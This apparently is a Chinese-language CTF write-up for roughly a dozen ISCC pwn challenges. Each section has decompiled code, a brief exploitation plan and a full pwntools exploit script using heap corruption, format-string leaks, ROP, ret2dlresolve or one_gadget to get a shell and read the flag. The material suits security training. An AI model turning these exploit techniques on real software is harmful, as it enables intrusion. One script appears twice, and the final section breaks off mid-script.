这个时间太长了,后来出的题不会作,再后来都不想作了.最后差练武题最后一个和擂台最后一个,再后来就没上,不清楚后来还有没有题.

时间比较长有些题都不好找了,找着也忘得差不多了,尽量补齐吧.

Double

从名字看是double free的意思,代码都在一起.free的时候没删指针,只置size=0,而且add,show,edit都进行了size检查,唯独free没有.确实存在double,

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[268]; // [rsp+0h] [rbp-130h] BYREFint v5; // [rsp+10Ch] [rbp-24h]int v6; // [rsp+110h] [rbp-20h]int v7; // [rsp+114h] [rbp-1Ch]char *v8; // [rsp+118h] [rbp-18h]int size; // [rsp+124h] [rbp-Ch]int idx; // [rsp+128h] [rbp-8h]int v11; // [rsp+12Ch] [rbp-4h]init();dword_6021E0 = 127;while ( 1 ){v11 = menu();if ( v11 == 5 )break;switch ( v11 ){case 1:                                   // addidx = get_idx();                        // <0xffif ( !sizes[idx] ){size = get_size();v8 = (char *)malloc(size);if ( !v8 )out(byte_400D5C);(&ptrs)[idx] = v8;sizes[idx] = size;}break;case 2:                                   // freev7 = get_idx();free((&ptrs)[v7]);sizes[v7] = 0;break;case 3:                                   // showv6 = get_idx();if ( sizes[v6] ){if ( v6 > 31 )out(byte_400D39);puts((&ptrs)[v6]);}break;case 4:v5 = get_idx();if ( sizes[v5] ){printf(&byte_400D6C);if ( read(0, (&ptrs)[v5], sizes[v5]) < 0 )out(byte_400D85);}break;default:puts(&byte_400D98);break;}}if ( dword_6021E8 == 0x15CC15CC && dword_602228 == 0xCC51CC51 ){printf("congratulations! Give you a reward: %p\n", buf);puts("please input what you want to say:");read(0, buf, 0x100uLL);end(buf);}return 0;
}

add会在6024E0 的指针区放指针和 6020E0放size 对于libc-2.23来说fastbin可以进行aba的double但建块时会检查头大小是否相符.

思路:

先在62建个块,size用0x71,然后double free后利用这个头标记将块建到控制区0x6021E8, 0x602228附近,控制这个区域写入指定值得到溢出.写入足够长的payload中转到后门

from pwn import *#p = process('./double')
p = remote('59.110.164.72',10021)
context(arch='amd64', log_level='debug')menu = bytes.fromhex('EFBC9A')
def add(idx,size):p.sendlineafter(menu, b'1')p.sendlineafter(menu, str(idx).encode())p.sendlineafter(menu, str(size).encode())def free(idx):p.sendlineafter(menu, b'2')p.sendlineafter(menu, str(idx).encode())def show(idx):p.sendlineafter(menu, b'3')p.sendlineafter(menu, str(idx).encode())def edit(idx,msg):p.sendlineafter(menu, b'4')p.sendlineafter(menu, str(idx).encode())p.sendafter(menu, msg)add(0,0x68)
add(1,0x68)
add(62,0x71)
free(0)
free(1)
free(0)
add(0,0x68)
edit(0, p64(0x6021d0))
add(1,0x68)
add(2,0x68)
add(3,0x68)
edit(3, b'/bin/sh\x00' + p64(0x15CC15CC) + b'B'*0x38 + p64(0xCC51CC51))#gdb.attach(p, 'b*0x400939\nc')p.sendlineafter(menu, b'5')
p.recvuntil(b'congratulations! Give you a reward: ')
stack = int(p.recvline(), 16)
print(f"{stack = :x}")
pop_rdi = 0x0000000000400cb3 # pop rdi ; ret
bin_sh  = 0x6021e0p.sendafter(b"please input what you want to say:\n",flat(pop_rdi,bin_sh,0x4008eb,0,stack-8) + p64(pop_rdi+1)*24 + flat(pop_rdi, bin_sh, 0x4008eb))
p.sendline(b'cat flag.txt')
p.interactive()

Chef

第二个堆题,依然是libc-2.23这么古老有docker已经很少见了,这题会不会是5年前出的

第一层菜单为了浪费时间,选4进行第二层,在edit的时候长度可以自己输有溢出

unsigned __int64 change_food()
{int v1; // [rsp+4h] [rbp-2Ch]int v2; // [rsp+8h] [rbp-28h]char buf[16]; // [rsp+10h] [rbp-20h] BYREFchar nptr[8]; // [rsp+20h] [rbp-10h] BYREFunsigned __int64 v5; // [rsp+28h] [rbp-8h]v5 = __readfsqword(0x28u);if ( num ){printf("Please enter the index of food:");read(0, buf, 8uLL);v1 = atoi(buf);if ( *(_QWORD *)&foodlist[4 * v1 + 2] ){printf("Please enter the price of food :");read(0, nptr, 8uLL);v2 = atoi(nptr);    //输入长度,溢出printf("Please enter the name of food:");*(_BYTE *)(*(_QWORD *)&foodlist[4 * v1 + 2] + (int)read(0, *(void **)&foodlist[4 * v1 + 2], v2)) = 0;}else{puts("invaild index");}}else{puts("No food in the menu");}return __readfsqword(0x28u) ^ v5;
}

思路:

先通过溢出修改下一块的size,释放进入unsort再建回来,利用残留的unsort与2块重叠,show得到libc地址,同样方法利用重叠块得到堆地址.并修改指针将one写到管理块的goodbye函数位置,退出时执行.

from pwn import *#p = process('./chef')
p = remote('59.110.164.72',10031)
context(arch='amd64', log_level='debug')libc = ELF('./libc-2.23.so')menu = b':'
def add(size, msg='A'):p.sendlineafter(menu, b'2')p.sendlineafter(menu, str(size).encode())p.sendafter(menu, msg)def free(idx):p.sendlineafter(menu, b'4')p.sendlineafter(menu, str(idx).encode())def show():p.sendlineafter(menu, b'1')def edit(idx,size,msg):p.sendlineafter(menu, b'3')p.sendlineafter(menu, str(idx).encode())p.sendlineafter(menu, str(size).encode())p.sendafter(menu, msg)p.sendlineafter(menu, b'4')one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]add(0x18)
add(0x48)
add(0x48)
add(0x18) #3edit(0, 0x20, p64(0)*3 + p64(0xa1)[:-1])
free(1)
add(0x48) #1show()
p.recvuntil(b'2 : ')
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")add(0x48) #4
free(1)
free(4)show()
p.recvuntil(b'2 : ')
heap = u64(p.recvuntil(b'3 : ', drop=True).ljust(8,b'\x00')) - 0x40
print(f"{heap = :x}")free(3)
edit(2, 0x58, b'\x00'*0x48 + p64(0x21) + p64(heap))add(0x18) #3
add(0x18, p64(0)+ p64(libc.address + one[0]))p.sendlineafter(menu, b'5')
p.sendlineafter(menu, b'5')p.sendline('cat flag*')
p.interactive()

Riddler

32位的程序更古老,

int __cdecl main(int argc, const char **argv, const char **envp)
{char s; // [esp+1h] [ebp-119h] BYREFint i; // [esp+2h] [ebp-118h]_DWORD *v6; // [esp+6h] [ebp-114h]int v7; // [esp+Ah] [ebp-110h]int v8; // [esp+Eh] [ebp-10Ch]int (**v9)(void); // [esp+12h] [ebp-108h]_DWORD *v10; // [esp+16h] [ebp-104h]_DWORD *v11; // [esp+1Ah] [ebp-100h]void *ptr; // [esp+1Eh] [ebp-FCh]_DWORD *v13; // [esp+22h] [ebp-F8h]_DWORD *v14; // [esp+26h] [ebp-F4h]char nptr[200]; // [esp+46h] [ebp-D4h] BYREFunsigned int v16; // [esp+10Eh] [ebp-Ch]int *p_argc; // [esp+112h] [ebp-8h]p_argc = &argc;v16 = __readgsdword(0x14u);setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("Welcome to ISCC!");puts("How do you learn pwn?(bush");for ( i = 0; i <= 9; ++i )*(&ptr + i) = 0;ptr = fun_malloc20();v13 = fun_malloc20();v14 = fun_malloc20();*(_DWORD *)ptr = fun_malloc20;*v13 = fun2_puts_s;v6 = v14;*v14 = greeting;while ( 1 ){while ( 1 )                                 // 1,free{while ( 1 ){while ( 1 ){while ( 1 ){v7 = 3;puts("Then?");fgets(&s, 13, stdin);               // s,i,v6,v7puts("emmm?!");fgets(nptr, 3, stdin);nptr[1] = 0;v8 = atoi(nptr);if ( v8 >= v7 )break;v11 = v14;((void (__cdecl *)(_DWORD))*v14)(*(&ptr + v8));}if ( s != '0' )break;if ( !*(&ptr + v8) )goto LABEL_16;v10 = v13;((void (__cdecl *)(_DWORD))*v13)(*(&ptr + v8));// 0 show}if ( s != '1' )break;                                // 1,freeif ( !*(&ptr + v8) )goto LABEL_16;free(*(&ptr + v8));puts("!!!");}if ( s != '2' )break;                                  // 2 addif ( *(&ptr + v8) )goto LABEL_16;v9 = (int (**)(void))ptr;puts("!!!");*(&ptr + v8) = (void *)(*v9)();}if ( s != '3' )                             // editbreak;if ( v8 > 2 && *(&ptr + v8) )               // >2{fgets((char *)*(&ptr + v8), 32, stdin);puts("!!!");}else{
LABEL_16:puts("???");}}puts("It looks that you knew little about me.");puts("What's more will you leave for me?");fgets(nptr, 100, stdin);return 0;
}

管理块的ID跟用户块在一起,直接show得到程序加载地址,同时free也不清指针可以show和edit

利用fastbin指针得到堆地址,然后在前边的输入缓冲区找个位置(不能在开始,开始输入时会用)free得到unsort得到libc地址

将管理块释放,重建写入system,再执行.

每次正常单前要覆盖v7才能正常执行功能.

from pwn import *#p = process('./Riddler')
p = remote('59.110.164.72',10028)
context(arch='i386')elf = ELF('./Riddler')
libc = ELF('./libc.so')def show(off):p.sendafter(b"Then?\n", b"0"+ b'\x00'*11)p.sendlineafter(b"emmm?!\n", str(off).encode())def free(off):p.sendafter(b"Then?\n", b"1"+ b'\x00'*11)p.sendlineafter(b"emmm?!\n", str(off).encode())def add(off):p.sendafter(b"Then?\n", b"2"+ b'\x00'*11)p.sendlineafter(b"emmm?!\n", str(off).encode())def edit(off, msg):p.sendafter(b"Then?\n", b"3"+ b'\x00'*11)p.sendlineafter(b"emmm?!\n", str(off).encode())p.sendline(msg)'''
0xffffcf40│+0x0000: 0x00000000   ← $esp
0xffffcf44│+0x0004: 0x00000000
0xffffcf48│+0x0008: 0xf7fdf449  →  <do_lookup_x+9> add ebx, 0x1dbb7
0xffffcf4c│+0x000c: 0x3043a318
0xffffcf50│+0x0010: 0x00000000
0xffffcf54│+0x0014: 0x00000000
0xffffcf58│+0x0018: 0x00000000
0xffffcf5c│+0x001c: 0x00000000
0xffffcf60│+0x0020: 0xffffd02c  →  0xf7fcd808  →  0x00000000
0xffffcf64│+0x0024: 0x5655b190  →  0x565557d5  →  <Fun+0> push ebp
0xffffcf68│+0x0028: 0xf7ffdd8c  →  0xf7ffdc44  →  0xf7ffdc30  →  0xf7fd4000  →  0x464c457f
0xffffcf6c│+0x002c: 0x5655b160  →  0x565557aa  →  <fun+0> push ebp
0xffffcf70│+0x0030: 0x5655b190  →  0x565557d5  →  <Fun+0> push ebp
0xffffcf74│+0x0034: 0x5655b1c0  →  0x565557fc  →  <greeting+0> push ebp
'''show(0)
elf.address = u32(p.recv(4)) - elf.sym['fun']
print(f"{elf.address = :x}")add(3)
add(4)free(4)
free(3)show(3)
heap = u32(p.recv(4)) - 0x1230
print(f"{heap = :x}")edit(3, p32(heap + 0x1b0))
add(5)
add(6) edit(6, flat(0,0,0,0x1011+0x30))
free(2)
show(2)
libc.address = u32(p.recv(4)) - 0x50 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")add(7)
edit(7, flat(libc.sym['system'], 0))free(4)
free(3)
edit(3, p32(heap + 0x190))
add(8)
add(9)
edit(9, b'/bin/sh\x00')p.sendlineafter(b"Then?\n", b"0")
p.sendlineafter(b"emmm?!\n", b'1')context.log_level='debug'
p.sendline(b'cat /flag*')
p.interactive()

困局

main会调用两次func_key,func_key里有格式化字符串漏洞, func_1有一个足够长的溢出.

int __cdecl main(int argc, const char **argv, const char **envp)
{int result; // eaxint i; // [rsp+Ch] [rbp-4h]in_it(argc, argv, envp);result = puts("You can't escape. Stay in the eternal box");for ( i = 0; i <= 1; ++i )result = func_key();return result;
}__int64 func_key()
{char buf[24]; // [rsp+0h] [rbp-20h] BYREFunsigned __int64 v2; // [rsp+18h] [rbp-8h]v2 = __readfsqword(0x28u);puts("This is a larger box");read(0, buf, 0x10uLL);if ( buf[1] == '9' )func_1();printf(buf);                                  // 格式化字符串漏洞return 0LL;
}unsigned __int64 func_1()
{char buf[40]; // [rsp+0h] [rbp-30h] BYREFunsigned __int64 v2; // [rsp+28h] [rbp-8h]v2 = __readfsqword(0x28u);puts("We have a lot to talk about");read(0, buf, 0x100uLL);return __readfsqword(0x28u) ^ v2;
}

先作第一次格式化字符串得到 canary,stack,libc然后写ORW

from pwn import *p = remote('59.110.164.72',10066)
#p = process('./Trapped')context(arch='amd64', log_level = 'debug')libc = ELF('./libc.so.6')p.sendafter(b"This is a larger box\n", b'%9$p,%15$p,%10$p')
p.sendafter(b"We have a lot to talk about", b'AAA')canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - libc.sym['__libc_start_main'] - 240
stack = int(p.recv(14),16) -0x80pop_rdi = 0x0000000000400a23 # pop rdi ; ret
pop_rsi = next(libc.search(asm('pop rsi; ret')))
pop_rdx = next(libc.search(asm('pop rdx; ret')))p.sendafter(b"This is a larger box\n", b'%9$p,%15$p')
p.sendlineafter(b"We have a lot to talk about", b'/flag'.ljust(40, b'\x00') + flat(canary, 0, pop_rdi, stack,pop_rsi,0,libc.sym['open'],pop_rdi,3,pop_rsi, stack-0x50,libc.sym['read'],pop_rdx,0x50, pop_rdi,1,pop_rsi, stack-0x50, pop_rdx,0x50, libc.sym['write']))p.interactive()

eat_num

32位PIE未开,有溢出,感觉怎么也应该放到第1个,不过只有read没有输出,只能用一次过的ROP

int __cdecl main(int argc, const char **argv, const char **envp)
{eat();return 0;
}
ssize_t eat()
{char buf[72]; // [esp+0h] [ebp-48h] BYREFreturn read(0, buf, 0x100u);
}

板子

from pwn import *#p = process(binary)
p = remote('59.110.164.72', 10067)binary = 'p8'
elf = ELF(binary)
context(arch='i386', log_level='debug')rop = ROP(binary)
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dl.data_addr)
rop.ret2dlresolve(dl)
rop_content = rop.chain()
payload = b'E'*0x48 + p32(0) + rop_content
payload = payload.ljust(0x100, b'\x00') + dl.payload
p.send(payload)p.interactive()

SIMS

有UAF的堆题过于简单

void __cdecl dele()
{unsigned int idx; // [rsp+0h] [rbp-10h]char buf[4]; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);puts("Index:");read(0, buf, 4uLL);idx = atoi(buf);if ( idx >= 0x10 ){puts("nonono!");_exit(0);}if ( heaparray[idx] ){free(heaparray[idx]);realsize[idx] = 0LL;puts("Done !");--num;}else{puts("No such Stu !");}
}

小板子

from pwn import *#p = process('SIMS')
p = remote('59.110.164.72', 10085)
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./SIMS')p.sendlineafter(b"welcome~ please input the password:\n" ,str(0x6b8b4567^0x15CC15CC).encode())menu = b"please choose one!\n"
def add(size):p.sendlineafter(menu, b'1')p.sendlineafter(b"Age of Stu:\n", str(size).encode())def free(idx):p.sendlineafter(menu, b'2')p.sendlineafter(b"Index:", str(idx).encode())def edit(idx,msg):p.sendlineafter(menu, b'3')p.sendlineafter(b"Index:", str(idx).encode())p.sendafter(b"Content of Stu:\n", msg)def show(idx):p.sendlineafter(menu, b'4')p.sendlineafter(b"Index:", str(idx).encode())add(0x430)
add(0x18)
add(0x18)
add(0x18)
add(0x18)
free(0)
show(0)p.recvuntil(b"Content : ")
libc.address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")free(3)
edit(3, p64(libc.sym['__free_hook']))add(0x18)
add(0x18) #4edit(3, b'/bin/sh\x00')
edit(4, p64(libc.sym['system']))
free(3)p.interactive()

三个愿望

read读入16字节,可以覆盖到v2,v3,c4,seed

__int64 begingame()
{char s[2]; // [rsp+Ah] [rbp-16h] BYREFint v2; // [rsp+Ch] [rbp-14h] BYREFint v3; // [rsp+10h] [rbp-10h]int v4; // [rsp+14h] [rbp-Ch]unsigned int seed; // [rsp+18h] [rbp-8h]unsigned int v6; // [rsp+1Ch] [rbp-4h]puts("Welcome to my world");puts("Maybe you can make three wishes");puts("In exchange, you have to guess what I think");puts("Now you can make your first wish");fflush(stdout);memset(s, 0, sizeof(s));read(0, s, 0x16uLL);                          // 覆盖所有srand(seed);v3 = 0;while ( 1 ){v4 = rand() % 9 + 1;puts("Please give me a number!");fflush(stdout);__isoc99_scanf("%d", &v2);if ( v4 != v2 )break;if ( v3 )thirdwish();srand(v6);v3 = 1;secondwish();}return 0LL;
}

第一次行泄露canary然后就可以溢出到后门

from pwn import *
from ctypes import *#p =process('makewishes')
p = remote('59.110.164.72', 10001)context.log_level = 'debug'
libc = cdll.LoadLibrary("./libc.so.6")#gdb.attach(p, 'b*0x4012eb')#s:2 v2:4,  v3,v4,seed,v6
pay = b'AA'+p32(0)*5
p.sendafter(b"Now you can make your first wish\n", pay)libc.srand(0)
v4 = libc.rand()%9 + 1
print(v4)
p.sendlineafter(b"Please give me a number!\n", str(v4).encode())p.sendafter(b"Now you can make your second wish!\n", b'%11$p,')
canary = int(p.recvuntil(b',' ,drop=True),16)libc.srand(0)
v4 = libc.rand()%9 + 1
p.sendlineafter(b"Please give me a number!\n", str(v4).encode())p.sendafter(b"Now you can make your final wish!\n", p64(0)*5+p64(canary) + p64(0x404800) + p64(0x4011d6))p.interactive()

login

第1次读buf时覆盖到v6进入后读入v4,由于print_name里有溢出,直接溢出到one

int __cdecl main(int argc, const char **argv, const char **envp)
{char v4[256]; // [rsp+10h] [rbp-120h] BYREFchar buf[28]; // [rsp+110h] [rbp-20h] BYREFint v6; // [rsp+12Ch] [rbp-4h]init(argc, argv, envp);puts("welcome to UserLoginSystem!");printf("Here is a tip: %p\n", stdin);v6 = 0;puts("input the username:");read(0, buf, 0x20uLL);if ( v6 == 365696460 ){printf("correct username!");puts("input the password:");read(0, v4, 0x100uLL);print_name(v4);}return 0;
}int __fastcall print_name(const void *a1)
{char dest[32]; // [rsp+10h] [rbp-20h] BYREFmemcpy(dest, a1, 0x100uLL);return printf("Hello %s\n", dest);
}
from pwn import *#p =process('Login')
p = remote('59.110.164.72', 10000)context(arch='amd64', log_level = 'debug')libc = ELF('./libc-2.23.so')p.recvuntil("Here is a tip: ")
libc.address = int(p.recvline().strip(), 16) - libc.sym['_IO_2_1_stdin_']
print(f"{libc.address = :x}")p.sendafter(b"input the username:\n", b'A'*28 + p32(365696460))
p.sendafter(b"input the password:\n", b'A'*0x28 + p64(libc.address + 0xf03a4))p.interactive()

Your_charactor

两层菜单题,有用的在第2层。

unsigned __int64 design_character_skill()
{int v1; // [rsp+Ch] [rbp-14h]char buf[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);while ( 1 ){puts("please design skills");puts("--------------------------------");puts(" 1. Create a skill              ");puts(" 2. Edit skill damage           ");puts(" 3. Edit skill introduction     ");puts(" 4. Show skill                  ");puts(" 5. Delete a skill              ");puts(" 6. back                        ");puts("--------------------------------");printf("Your choice :");read(0, buf, 4uLL);v1 = atoi(buf);if ( v1 == 6 )break;switch ( v1 ){case 1:m11add();break;case 2:edit_damage();                          // realocbreak;case 3:edit_introduction();                    // editbreak;case 4:show_skill();break;case 5:delete_skill();break;default:puts("invaild choice!!!");break;}}return __readfsqword(0x28u) ^ v3;
}

edit有写溢出,通过溢出造重叠块,控制管理块。再通过unsort得到libc,最后通过向管理块的指针写one_gadget得到shell

from pwn import *
from itertools import *#p =process('./your_character')
p = remote('59.110.164.72', 10003)
context(arch='amd64',log_level = 'debug')libc = ELF('./libc.so.6')
elf = ELF('./your_character')menu = b"Your choice :"
def add(size):p.sendlineafter(menu, b'1')p.sendlineafter(b"Damage of skill : ", str(size).encode())p.sendafter(b"introduction of skill:", b'A')def edit_size(idx, size):p.sendlineafter(menu, b'2')p.sendlineafter(b"Index :", str(idx).encode())p.sendlineafter(b"Damage of skill : ", str(size).encode())def edit(idx,msg):p.sendlineafter(menu, b'3')p.sendlineafter(b"Index :", str(idx).encode())p.sendafter(b"introduction of skill : ", msg)def show(idx):p.sendlineafter(menu, b'4')p.sendlineafter(b"Index :", str(idx).encode())def free(idx):p.sendlineafter(menu, b'5')p.sendlineafter(b"Index :", str(idx).encode())p.sendlineafter(b"Your choice :", b'2')
p.sendlineafter(b"Please enter the background story of your character: \n", b'A')p.sendlineafter(b"Your choice :", b'1') #infor i in [0x80,0x18,0x18,0x18]:add(i)edit(1, b'A'*0x18+ p8(0x61))
free(2)add(0x58)
edit(2, b'A'*0x8)
show(2)
p.recvuntil(b'A'*0x8)
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x370
print(f"{heap_addr = :x}")free(0)
edit(2, flat(0,0,0,0x21,0x800,heap_addr+ 0x280)) #2 ptr-> unsortshow(2)
p.recvuntil(b"Introduction : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00'))  - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")edit(2, b'A'*0xf0 + flat(0x800, heap_addr+0x10) )
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
edit(2, p64(libc.address + one[0])*2)p.sendlineafter(menu, b'6')
p.sendlineafter(menu, b'4')p.sendline(b'cat /flag*')p.interactive()

谜语人

有管理块,就一般是攻击这个指针。有UAF。

int __cdecl main(int argc, const char **argv, const char **envp)
{char s; // [esp+1h] [ebp-119h] BYREFint i; // [esp+2h] [ebp-118h]_DWORD *v6; // [esp+6h] [ebp-114h]int v7; // [esp+Ah] [ebp-110h]int v8; // [esp+Eh] [ebp-10Ch]int (**v9)(void); // [esp+12h] [ebp-108h]_DWORD *v10; // [esp+16h] [ebp-104h]_DWORD *v11; // [esp+1Ah] [ebp-100h]void *ptr; // [esp+1Eh] [ebp-FCh]_DWORD *ptr1; // [esp+22h] [ebp-F8h]_DWORD *ptr2; // [esp+26h] [ebp-F4h]char nptr[200]; // [esp+46h] [ebp-D4h] BYREFunsigned int v16; // [esp+10Eh] [ebp-Ch]int *p_argc; // [esp+112h] [ebp-8h]p_argc = &argc;v16 = __readgsdword(0x14u);setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("Welcome to ISCC!");puts("How do you learn pwn?(bush");for ( i = 0; i <= 9; ++i )*(&ptr + i) = 0;ptr = (void *)malloc20();ptr1 = (_DWORD *)malloc20();ptr2 = (_DWORD *)malloc20();*(_DWORD *)ptr = malloc20;*ptr1 = puts_s;v6 = ptr2;*ptr2 = func_null;while ( 1 )                                   // add_20{while ( 1 ){while ( 1 ){while ( 1 ){while ( 1 ){v7 = 3;puts("Then?");fgets(&s, 13, stdin);               // s,i,v6,v7puts("emmm?!");fgets(nptr, 3, stdin);nptr[1] = 0;v8 = atoi(nptr);if ( v8 >= v7 )break;v11 = ptr2;                         // greeting((void (__cdecl *)(_DWORD))*ptr2)(*(&ptr + v8));}if ( s != '0' )break;                              // showif ( !*(&ptr + v8) )goto LABEL_16;v10 = ptr1;((void (__cdecl *)(_DWORD))*ptr1)(*(&ptr + v8));}if ( s != '1' )break;                                // freeif ( !*(&ptr + v8) )goto LABEL_16;free(*(&ptr + v8));puts("!!!");}if ( s != '2' )break;                                  // add_20if ( *(&ptr + v8) )goto LABEL_16;v9 = (int (**)(void))ptr;puts("!!!");*(&ptr + v8) = (void *)(*v9)();}if ( s != '3' )break;if ( v8 > 2 && *(&ptr + v8) )               // edit{fgets((char *)*(&ptr + v8), 32, stdin);puts("!!!");}else{
LABEL_16:puts("???");}}puts("It looks that you knew little about me.");puts("What's more will you leave for me?");fgets(nptr, 100, stdin);return 0;
}

把指针改为system

from pwn import *#p = process('./Riddler')
p = remote('59.110.164.72',10028)
context(arch='i386')elf = ELF('./Riddler')
libc = ELF('./libc.so')def show(off):p.sendafter(b"Then?\n", b"0"+ b'\x00'*11)p.sendlineafter(b"emmm?!\n", str(off).encode())def free(off):p.sendafter(b"Then?\n", b"1"+ b'\x00'*11)p.sendlineafter(b"emmm?!\n", str(off).encode())def add(off):p.sendafter(b"Then?\n", b"2"+ b'\x00'*11)p.sendlineafter(b"emmm?!\n", str(off).encode())def edit(off, msg):p.sendafter(b"Then?\n", b"3"+ b'\x00'*11)p.sendlineafter(b"emmm?!\n", str(off).encode())p.sendline(msg)'''
0xffffcf40│+0x0000: 0x00000000   ← $esp
0xffffcf44│+0x0004: 0x00000000
0xffffcf48│+0x0008: 0xf7fdf449  →  <do_lookup_x+9> add ebx, 0x1dbb7
0xffffcf4c│+0x000c: 0x3043a318
0xffffcf50│+0x0010: 0x00000000
0xffffcf54│+0x0014: 0x00000000
0xffffcf58│+0x0018: 0x00000000
0xffffcf5c│+0x001c: 0x00000000
0xffffcf60│+0x0020: 0xffffd02c  →  0xf7fcd808  →  0x00000000
0xffffcf64│+0x0024: 0x5655b190  →  0x565557d5  →  <Fun+0> push ebp
0xffffcf68│+0x0028: 0xf7ffdd8c  →  0xf7ffdc44  →  0xf7ffdc30  →  0xf7fd4000  →  0x464c457f
0xffffcf6c│+0x002c: 0x5655b160  →  0x565557aa  →  <fun+0> push ebp
0xffffcf70│+0x0030: 0x5655b190  →  0x565557d5  →  <Fun+0> push ebp
0xffffcf74│+0x0034: 0x5655b1c0  →  0x565557fc  →  <greeting+0> push ebp
'''show(0)
elf.address = u32(p.recv(4)) - elf.sym['fun']
print(f"{elf.address = :x}")add(3)
add(4)free(4)
free(3)show(3)
heap = u32(p.recv(4)) - 0x1230
print(f"{heap = :x}")edit(3, p32(heap + 0x1b0))
add(5)
add(6) edit(6, flat(0,0,0,0x1011+0x30))
free(2)
show(2)
libc.address = u32(p.recv(4)) - 0x50 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")add(7)
edit(7, flat(libc.sym['system'], 0))free(4)
free(3)
edit(3, p32(heap + 0x190))
add(8)
add(9)
edit(9, b'/bin/sh\x00')p.sendlineafter(b"Then?\n", b"0")
p.sendlineafter(b"emmm?!\n", b'1')context.log_level='debug'
p.sendline(b'cat /flag*')
p.interactive()

第一用笔

这是个猜迷,从网上搜到提示然后拼成拼音。然后在func_2溢出到后门,后门有3个,两个假的。

int __cdecl main(int argc, const char **argv, const char **envp)
{func_1(argc, argv, envp);func_2046();write(1, "Let me test your learning achievements\n", 0x27uLL);func_2();puts("Is there anything hidden");return 0;
}ssize_t func_2046()
{ssize_t result; // raxchar v1[80]; // [rsp+0h] [rbp-B0h] BYREFchar buf[80]; // [rsp+50h] [rbp-60h] BYREFFILE *stream; // [rsp+A0h] [rbp-10h]int j; // [rsp+A8h] [rbp-8h]int i; // [rsp+ACh] [rbp-4h]puts("Have you understood the nine stroke?");puts("from 0 to 7 is 'dunbi000'");puts("and 40 to 47 is 'nvfeng00'!");stream = fopen("code.txt", "r");if ( !stream ){puts("It may be in some trouble");exit(0);}for ( i = 0; i <= 71; ++i )__isoc99_fscanf(stream, "%c", &v1[i]);fclose(stream);result = read(0, buf, 0x49uLL);for ( j = 0; j <= 71; ++j ){result = (unsigned __int8)buf[j];if ( v1[j] != (_BYTE)result ){puts("You need to learn more cultural knowledge");exit(0);}}return result;
}ssize_t func_2()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFputs("Knowledge needs to be learned bit by bit");puts("And you may need to review again and again");puts("or you can look for other space");return read(0, buf, 0x30uLL);
}
from pwn import *
from itertools import *#p =process('usage_of_pen')
context.log_level = 'error'libc = ELF('./libc.so.6')
elf = ELF('./usage_of_pen')
pop_rdi = 0x0000000000400c53 # pop rdi ; retss = 'dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000'
p = remote('59.110.164.72', 10002)p.sendafter(b"and 40 to 47 is 'nvfeng00'!\n", ss.encode())
msg = p.recvline()context(arch='amd64', log_level = 'debug')
p.sendafter(b"or you can look for other space\n" , b'\x00'*0x28 + p64(0x400b0f))p.send(b'\x00'*0x28 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400b0f))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']p.send(b'\x00'*0x28 + flat(pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))
p.sendline('cat flag*')
p.interactive()#yz8f=clntclzz#anyagougedi

过了N天后,这题目录下多了一个文件 文件见容是anyagougedi 是第三裹束的提示1

第二识势

前边就是一堆瞎绕,然后后边溢出直接溢出就OK,

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[128]; // [rsp+0h] [rbp-B0h] BYREFvoid *v5; // [rsp+80h] [rbp-30h]char *v6; // [rsp+88h] [rbp-28h]size_t size; // [rsp+90h] [rbp-20h]_QWORD *v8; // [rsp+98h] [rbp-18h]ssize_t v9; // [rsp+A0h] [rbp-10h]void *s; // [rsp+A8h] [rbp-8h]setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);alarm(0x3Cu);puts("Welcome to the second class");puts("Here you need to understand the trend and change of top");s = malloc(0x10uLL);memset(s, 65, 0x18uLL);puts("Start injecting");v9 = read(0, buf, 0x80uLL);v8 = (char *)s + v9;                          // 堆地址加串长度puts("You may need some reference materials");printf("%lud", v8);*v8 = (int)get_int();                         // 把top改最大,将块建到覆盖bsfif ( strlen(buf) > 1 ){puts("Can't go forward so much!");exit(0);}size = (int)get_int();v6 = (char *)malloc(size);memset(&v6[size - 24], 65, 0x20uLL);v5 = malloc(0x30uLL);                         // bsfputs("Answer time is close to over");read(0, v5, 0x10uLL);if ( bsf[15] != 97 ){puts("Find out where you wrote the answer");exit(0);}func_111001();return 0;
}ssize_t func_111001()
{char buf[124]; // [rsp+0h] [rbp-80h] BYREFint v2; // [rsp+7Ch] [rbp-4h]puts("Think about whether this is very basic");memset(buf, 0, 0x70uLL);qmemcpy(&buf[0x6E], "ba", 2);puts("Direct to destination");v2 = read(0, buf, 0x100uLL);memcpy(bsf, buf, 0x100uLL);write(1, "you pass", 8uLL);return write(1, bsf, v2);
}
from pwn import *#p = process('./p7')
p = remote('59.110.164.72', 10025)
context(arch='amd64', log_level='debug')elf = ELF('./p7')
